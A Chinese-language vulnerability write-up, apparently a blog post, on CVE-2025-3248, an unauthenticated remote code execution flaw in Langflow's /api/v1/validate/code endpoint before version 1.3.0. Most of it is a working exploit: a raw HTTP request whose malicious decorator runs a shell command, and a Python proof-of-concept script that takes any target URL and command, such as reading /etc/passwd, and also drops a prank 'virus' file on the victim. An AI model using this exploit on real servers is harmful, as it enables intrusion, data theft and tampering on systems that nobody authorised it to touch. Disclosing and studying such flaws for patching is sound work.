CVE-2025-3248

文章目录

漏洞名称

CVE-2025-3248:LangFlow 未授权远程代码执行漏洞

漏洞描述

Langflow是一个流行的开源AI工作流可视化工具,允许用户通过Web界面拖拽式构建基于Python的智能体和数据处理流程。

在1.3.0版本之前,Langflow存在一个严重的未授权远程代码执行漏洞(CVE-2025-3248)。/api/v1/validate/code接口原本用来校验用户提交的Python代码是否合法,其内部通过ast解析代码后,使用exec执行所有函数定义。然而,Python的装饰器和默认参数表达式也会在函数定义时被执行,攻击者可以通过精心构造的装饰器或默认参数,在未授权的情况下实现任意代码执行。

漏洞复现

ui:

直接向/api/v1/validate/code接口发送包含恶意装饰器的Python函数定义,即可来实现远程命令执行:

复制代码
POST /api/v1/validate/code HTTP/1.1
Host: your-ip:7860
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 105

{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"}

POC

python 复制代码
# langflowpoc.py
import sys
import requests
from pathlib import Path

if len(sys.argv) < 3:
    print("usage: python poc.py 'http://target:7860' 'cat /etc/passwd'")
    exit(1)

url = sys.argv[1].removesuffix("/") + "/api/v1/validate/code"
cmd = sys.argv[2]

message = "ello ur computa has virus ... (略)"

code_to_exec = f"""
from pathlib import Path
import os
try:
    for file in ['/tmp/ello_ur_computa_has_virus.txt', '~/ello_ur_computa_has_virus.txt']:
        Path(file).expanduser().write_text({message!r})
except:
    pass
raise Exception(os.popen({cmd!r}).read())
"""

payload = f"""
import os

@exec({code_to_exec!r})
def f():
    pass
"""

resp = requests.post(url, verify=False, json={"code": payload})
print(resp.text)
相关推荐
Flynt1 小时前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab5 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
Aphasia3118 天前
VPN 与内网穿透
安全
Mr_愚人派9 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao10 天前
【无标题】
人工智能·安全
Alsn8610 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院10 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest10 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安10 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
开发小能手-roy10 天前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全